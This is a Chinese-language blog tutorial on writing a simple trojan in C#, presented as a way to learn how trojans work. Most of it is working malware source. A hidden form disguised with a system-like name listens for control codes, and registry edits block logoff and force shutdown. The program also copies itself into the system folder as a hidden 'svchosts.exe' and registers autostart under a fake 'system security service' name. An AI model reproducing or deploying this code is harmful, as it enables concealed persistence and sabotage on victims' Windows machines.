C#实现简单的木马程序(学习木马制作流程)

首先说明一下,学这个木马制作流程并不是为了去做坏事,而是要知道它的原理,以后在工作生活中,也可以及时发现自己的电脑有没有被植入木马,从而规避一些不必要的损失。要实现木马服务的程序,需要实现以下几个功能:

  • 后台的运行(隐藏技术)
  • 控制码的接收与注册表的修改

一、先建立一个Windows窗体应用程序,为了方便隐藏,项目名称可使用与系统相近的名称(如svchost.exe等)。

1.将窗体属性"ShowInTaskbar"设为false,让它运行时不会在任务栏中显示。
2.将窗体属性"Windowstate"设为Mininized,这样窗体就可以隐藏运行了。

二、控制代码的接收,必须在服务程序运行开始时就启动,所以侦听线程必须在程序初始化中启动,所以放在窗体的构造函数中,代码如下:

 public partial class Form1 : Form
    {
         //侦听端口
        private int port = 6678;
        //本地IP
        private IPAddress LocalIP = IPAddress.Parse("127.0.0.1");
        //System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的
        private TcpListener listener;
        public Form1()
        {
            InitializeComponent();
            //启动侦听        
            listener = new TcpListener(LocalIP, port);      
            listener.Start();
            //增加接收控制码的线程,如果要停止线程可以用 Thread.abort()
            //myControlCode是线程启动执行的函数,此函数根据接收到的控制码,执行不同的指令
            Thread thread = new Thread(new ThreadStart(myControlCode));
            thread.Start();
        }
        /// 
        /// 根据接收到的控制码,执行不同的指令
        /// 
        private void myControlCode()
        {
            //设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求
            Socket socket = listener.AcceptSocket();
            //如果连接成功执行
            while (socket.Connected)
            {
                //接收控制码
                byte[] by = new byte[6];
                int i = socket.Receive(by, by.Length, 0);
                string ss = System.Text.Encoding.ASCII.GetString(by);
                //根据控制码执行不同的功能
                switch (ss)
                {
                    case "test"://测试连接,返回测试信息
                        string str = "hello world";
                        byte[] bytee = System.Text.Encoding.ASCII.GetBytes(str);
                        socket.Send(bytee, 0, bytee.Length, 0);
                        break;
                    case "logoff":
                        //修改注册表函数,使计算机无法注销
                        RegUtils.UnLogOff();
                        //返回控制消息
                        retMessage(socket);
                        break;
                    case "close":
                        //修改注册表函数,使计算机自动关机
                        RegUtils.UnClose();
                        //返回控制消息
                        retMessage(socket);
                        break;
                    default:
                        break;
                }
            }
        }

        private void retMessage(Socket socket)
        {
            string str = "指令完成";
            byte[] bytee = System.Text.Encoding.ASCII.GetBytes(str);
            socket.Send(bytee, 0, bytee.Length, 0);
        }        
}

三、注册表公共类:RegUtils.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Win32;
using System.Diagnostics;
using System.Windows.Forms;

namespace 木马服务程序
{
    public static class RegUtils
    {
        /// 
        /// 修改注册表,使计算机无法注销
        /// 
        public static void UnLogOff()
        {
            //设置键值NoLogOff为1,即可使计算机无法注销。
            string position="SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer";
            string key = "NoLogOff";
            object value = 1;
            updateRegedit(position, key, value);
        }
        /// 
        /// 修改注册表,使计算机关机
        /// 
        public static void UnClose()
        {
            string position = "SOFTWARE//Microsoft//WindowsNT//CurrentVersion//Winlogon";
            string key = "Shell";
            object value = "Explorer.exe,shutdown -t 5";
            updateRegedit(position, key, value);
        }
        /// 
        /// 修改注册表
        /// 
        /// 位置
        /// 键
        /// 值
        private static void updateRegedit(string position, string key, object value)
        {
            //得到主机的注册表的顶级节点
            Microsoft.Win32.RegistryKey regLocal = Registry.LocalMachine;
            //设置一个注册表子键的变量
            RegistryKey subkey = null;
            try
            {
                //函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键
                //registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改
                subkey = regLocal.OpenSubKey(position, true);
                //设置子键的键名和值
                subkey.SetValue(key, value);
                //关闭打开的子键
                subkey.Close();
            }
            catch { }
            //如果不存在则自已建立
            if (subkey == null)
            {
                try
                {
                    //使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键
                    RegistryKey regkey = regLocal.CreateSubKey(position);
                    regkey.SetValue(key, value);
                    regkey.Close();
                }
                catch { }
            }
        }
    }
}

四、在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时,必须自动将木马隐藏在System/SysWOW64目录下,以防被发现。实现代码如下:

/// 
        /// 在木马程序中还有一个重要的功能:自我的复制和转移
        /// 描述信息:木马引入被控制的主机时必须自动将木马隐藏在System/SysWOW64的目录下以防被发现。
        /// 
        private void Copying()
        {
            try
            {
                // 正在运行的程序路径和文件名
                string _file = Application.ExecutablePath;
                // 目标文件路径
                string _target = Environment.GetFolderPath(Environment.SpecialFolder.SystemX86) + "//svchosts.exe";
                if ((!File.Exists(_target)))
                {
                    //取消文件的只读、隐藏属性
                    ToolUtils.roHidFileNudo(_file);
                    //复制
                    FileStream _fileStream = File.Open(_file, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
                    byte[] _buffer = new byte[_fileStream.Length];
                    _fileStream.Read(_buffer, 0, _buffer.Length);
                    _fileStream.Close();
                    //粘贴
                    FileStream _writer = File.Open(_target, FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.None);
                    _writer.Write(_buffer, 0, _buffer.Length);
                    _writer.Close();
                    //设置文件隐藏只读
                    ToolUtils.roHidFile(_target);
                    //把监听控制程序设为开机自启动
                    Boot.SetAutoStart(true, "系统安全服务", _target);
                    //运行刚复制完成的程序
                    System.Diagnostics.Process.Start(_target);
                    this.Close();
                }
            }
            catch (Exception ex)
            {
            }
        }

五、封装的开机启动类:Boot.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Diagnostics;
using Microsoft.Win32;

namespace 木马服务程序
{
    /// 
    /// 开机启动类
    /// 
    public static class Boot
    {
        /// 
        /// 将本程序设为开启自启
        /// 
        /// 自启开关
        /// 
        public static bool SetMeStart(bool onOff)
        {
            bool isOk = false;
            string appName = Process.GetCurrentProcess().MainModule.ModuleName;
            string appPath = Process.GetCurrentProcess().MainModule.FileName;
            isOk = SetAutoStart(onOff, appName, appPath);
            return isOk;
        }

        /// 
        /// 将应用程序设为或不设为开机启动
        /// 
        /// 自启开关
        /// 应用程序名
        /// 应用程序完全路径
        public static bool SetAutoStart(bool onOff, string appName, string appPath)
        {
            bool isOk = true;
            //如果从没有设为开机启动设置到要设为开机启动
            if (!IsExistKey(appName) && onOff)
            {
                isOk = SelfRunning(onOff, appName, @appPath);
            }
            //如果从设为开机启动设置到不要设为开机启动
            else if (IsExistKey(appName) && !onOff)
            {
                isOk = SelfRunning(onOff, appName, @appPath);
            }
            return isOk;
        }

        /// 
        /// 判断注册键值对是否存在,即是否处于开机启动状态
        /// 
        /// 键值名
        /// 
        private static bool IsExistKey(string keyName)
        {
            try
            {
                bool _exist = false;
                RegistryKey local = Registry.LocalMachine;
                RegistryKey runs = local.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
                if (runs == null)
                {
                    RegistryKey key2 = local.CreateSubKey("SOFTWARE");
                    RegistryKey key3 = key2.CreateSubKey("Microsoft");
                    RegistryKey key4 = key3.CreateSubKey("Windows");
                    RegistryKey key5 = key4.CreateSubKey("CurrentVersion");
                    RegistryKey key6 = key5.CreateSubKey("Run");
                    runs = key6;
                }
                string[] runsName = runs.GetValueNames();
                foreach (string strName in runsName)
                {
                    if (strName.ToUpper() == keyName.ToUpper())
                    {
                        _exist = true;
                        return _exist;
                    }
                }
                return _exist;

            }
            catch
            {
                return false;
            }
        }

        /// 
        /// 写入或删除注册表键值对,即设为开机启动或开机不启动
        /// 
        /// 是否开机启动
        /// 应用程序名
        /// 应用程序路径带程序名
        /// 
        private static bool SelfRunning(bool isStart, string exeName, string path)
        {
            try
            {
                RegistryKey local = Registry.LocalMachine;
                RegistryKey key = local.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
                if (key == null)
                {
                    local.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run");
                }
                //若开机自启动则添加键值对
                if (isStart)
                {
                    key.SetValue(exeName, path);
                    key.Close();
                }
                else//否则删除键值对
                {
                    string[] keyNames = key.GetValueNames();
                    foreach (string keyName in keyNames)
                    {
                        if (keyName.ToUpper() == exeName.ToUpper())
                        {
                            key.DeleteValue(exeName);
                            key.Close();
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                string ss = ex.Message;
                return false;
                //throw;
            }

            return true;
        }
    }
}

六、最好再创建一个windows服务,用来监控木马程序,防止程序意外退出。

C#实现简单的木马程序(学习木马制作流程)_第1张图片

 

你可能感兴趣的:(C#)